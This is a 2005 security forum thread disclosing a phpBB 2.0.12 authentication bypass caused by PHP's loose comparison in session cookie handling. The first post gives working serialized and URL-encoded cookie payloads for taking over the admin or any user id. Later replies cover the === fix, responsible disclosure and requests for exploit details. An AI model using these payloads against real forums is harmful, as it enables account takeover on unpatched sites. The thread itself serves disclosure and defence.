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Full disclosure |
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IT Security and Insecurity Portal |
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phpbb v. 2.0.12 and earlier authendication bypass |
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 Posted: Sat Feb 26, 2005 11:20 pm |
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| Heintz |
| Valuable expert |
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| Joined: Jun 12, 2004 |
| Posts: 88 |
| Location: Estonia/Sweden |
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Bug author: Heintz (Henno Joosep)
Related site: http://www.waraxe.us
Date of finding: 24.02.2005
problem is in sessions.php which is in /includes catalog.
$sessiondata = isset($HTTP_COOKIE_VARS[$cookiename . '_data']) ? unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data'])) : array();
here we see an array unserialized
if( $sessiondata['autologinid'] == $auto_login_key )
{
// autologinid matches password
$login = 1;
$enable_autologin = 1;
}
problem is with if() using == operator which considers the statement
true if one side is boolean(true), and that we can achive by unserializing
a bool instead of empty string.
exploitation:
this can be normal admin session cookie.
a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"2";}
attacker would make array with autologinid as key to boolean(tru) so:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
to this to work in real situation it must be urlencoded, and this is how it should look like to
obtain a user with id 2 (usually admin):
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
to change the users id bigger, change the
number in end,
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"7";}
if dealing with higher ids you must specify s:N (N as how many decimal places id has)
example below:
a:2:{s:11:"autologinid";b:1;s:6:"userid";s:4:"1234";}
i stated using "===" as contitional operator as a "quick fix", which phpbb
team used (they didn't have time to explore the bug in depth, look below for notes).
originaly i tryed/explored advantages to use unserialize
to unserialize database objects, but using objects as arrays creates fatal error
(possible full path disclosure???).
Notes:
software authors decided to not to credit me cause i posted info public,
not giving them enought time,
-- brought up -- |
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Last edited by Heintz on Sat Apr 09, 2005 5:46 pm; edited 4 times in total
_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!" |
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| Posted: Sun Feb 27, 2005 3:32 pm |
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| LINUX |
| Moderator |
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| Joined: May 24, 2004 |
| Posts: 404 |
| Location: Caiman |
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  full test and work perfect exellent work |
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| Posted: Sun Feb 27, 2005 5:28 pm |
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| Injector |
| Active user |
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| Joined: Dec 29, 2004 |
| Posts: 49 |
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| i decoded both and tried to analyze it but still i dont get how to do it. What if I dont want user id 2 what if I want user id 7. How do i do such? |
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| Posted: Mon Feb 28, 2005 12:31 am |
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| Grullanetx |
| Beginner |
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| Joined: Feb 18, 2005 |
| Posts: 2 |
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| Posted: Mon Feb 28, 2005 4:37 am |
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| Exoduks |
| Beginner |
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| Joined: Jan 12, 2005 |
| Posts: 3 |
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| Does anyone now how to exploit this session hendeling bug ? |
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| Posted: Mon Feb 28, 2005 5:13 am |
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| y3dips |
| Valuable expert |
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| Joined: Feb 25, 2005 |
| Posts: 281 |
| Location: Indonesia |
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hum, nice research youve done there
ive try to download that version, but the development team allready update it
now i try a new one (2.0.13)
long time no play with PHPbb (eventhough my forum ise it too  ) |
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_________________
IO::y3dips->new(http://clog.ammar.web.id); |
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For comparing Strings use === |
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| Posted: Mon Feb 28, 2005 8:40 am |
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| Zeelock |
| Active user |
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| Joined: Jan 27, 2005 |
| Posts: 29 |
| Location: Where stars come out at night |
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Heintz Great Job.
Even if it's a common trick and well documented I didn't notice it yet (  ).
This error is very common in converting perl scripts into php.
For more info:
http://www.php.net/manual/it/language.operators.comparison.php
| Quote: | jwhiting at hampshire dot edu
09-Dec-2003 06:31
note: the behavior below is documented in the appendix K about type comparisons, but since it is somewhat buried i thought i should raise it here for people since it threw me for a loop until i figured it out completely.
just to clarify a tricky point about the == comparison operator when dealing with strings and numbers:
('some string' == 0) returns TRUE
however, ('123' == 0) returns FALSE
also note that ((int) 'some string') returns 0
and ((int) '123') returns 123
the behavior makes senes but you must be careful when comparing strings to numbers, e.g. when you're comparing a request variable which you expect to be numeric. its easy to fall into the trap of:
if ($_GET['myvar']==0) dosomething();
as this will dosomething() even when $_GET['myvar'] is 'some string' and clearly not the value 0
i was getting lazy with my types since php vars are so flexible, so be warned to pay attention to the details... |
Exploit n. 2 Censored..... |
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Last edited by Zeelock on Mon Feb 28, 2005 1:54 pm; edited 6 times in total
_________________
If it seems to be impossible, just step up your level! |
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| Posted: Mon Feb 28, 2005 10:37 am |
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| sygma |
| Regular user |
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| Joined: Nov 21, 2004 |
| Posts: 7 |
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| why was the info censored ? could someone please PM the info ? thanks. |
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_________________
[i]no word to save thee[/i] |
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| Posted: Mon Feb 28, 2005 11:03 am |
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| Zeelock |
| Active user |
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| Joined: Jan 27, 2005 |
| Posts: 29 |
| Location: Where stars come out at night |
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| I think that Janek censored the message, because it's really harmful at the moment |
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_________________
If it seems to be impossible, just step up your level! |
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| Posted: Mon Feb 28, 2005 1:51 pm |
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| Heintz |
| Valuable expert |
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| Joined: Jun 12, 2004 |
| Posts: 88 |
| Location: Estonia/Sweden |
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i was the one censoring it, cause phpbb guys didn't like the idea posting before/same time about the issue.
and i would appreciate if we do not provide explotation info in some ammount of time (2 days).
i thought of better of people but it seems there just too many script kiddies outside who start making damage whenever possible.
http://www.phpbb.com/phpBB/viewtopic.php?t=267563 |
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Last edited by Heintz on Mon Feb 28, 2005 3:37 pm; edited 1 time in total
_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!" |
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| Posted: Mon Feb 28, 2005 1:53 pm |
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| Zeelock |
| Active user |
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| Joined: Jan 27, 2005 |
| Posts: 29 |
| Location: Where stars come out at night |
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| If you want I'll censor the info as well |
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_________________
If it seems to be impossible, just step up your level! |
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| Posted: Thu Mar 03, 2005 1:05 pm |
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| Heintz |
| Valuable expert |
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| Joined: Jun 12, 2004 |
| Posts: 88 |
| Location: Estonia/Sweden |
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---move---
Notes:
software authors decided to not to credit me cause i posted info public,
not giving them enought time, |
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Last edited by Heintz on Wed May 04, 2005 1:26 am; edited 2 times in total
_________________
AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!" |
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| Posted: Thu Mar 03, 2005 2:23 pm |
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| lone_wolf |
| Regular user |
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| Joined: Feb 20, 2005 |
| Posts: 9 |
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| Heintz, what exactly triple equal from "quick fix" do? Is there some way to cheat it? |
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| Posted: Thu Mar 03, 2005 2:39 pm |
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| lone_wolf |
| Regular user |
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| Joined: Feb 20, 2005 |
| Posts: 9 |
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This looks pritty hopeless (from "Boolean - manual):
/* Note the triple equal sign, this is the "exactly equal to" operator,
which checks NOT JUST FOR EQUALITY, BUT FOR TYPE. Using it
ensures that $bool doesn't get converted to a boolean
for the comparison: $bool===true is only true
if $bool is a true boolean, whereas $bool==true
is true for any non-empty string (except "0").
*/ |
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| Posted: Sun Mar 13, 2005 4:42 pm |
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| y3dips |
| Valuable expert |
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| Joined: Feb 25, 2005 |
| Posts: 281 |
| Location: Indonesia |
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| Heintz wrote: |
<-- message truncated --->
i stated using "===" as contitional operator as a "quick fix", which phpbb
team used (they didn't have time to explore the bug in depth, look below for notes).
originaly i tryed/explored advantages to use unserialize
to unserialize database objects, but using objects as arrays creates fatal error
(possible full path disclosure???).
Notes:
software authors decided to not to credit me cause i posted info public,
thus not giving them enought time (big mistake by me), and therefore there may be stealers
claiming the bug to be theyrs. |
have another way to fix it, coz i found the same error as you do |
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_________________
IO::y3dips->new(http://clog.ammar.web.id); |
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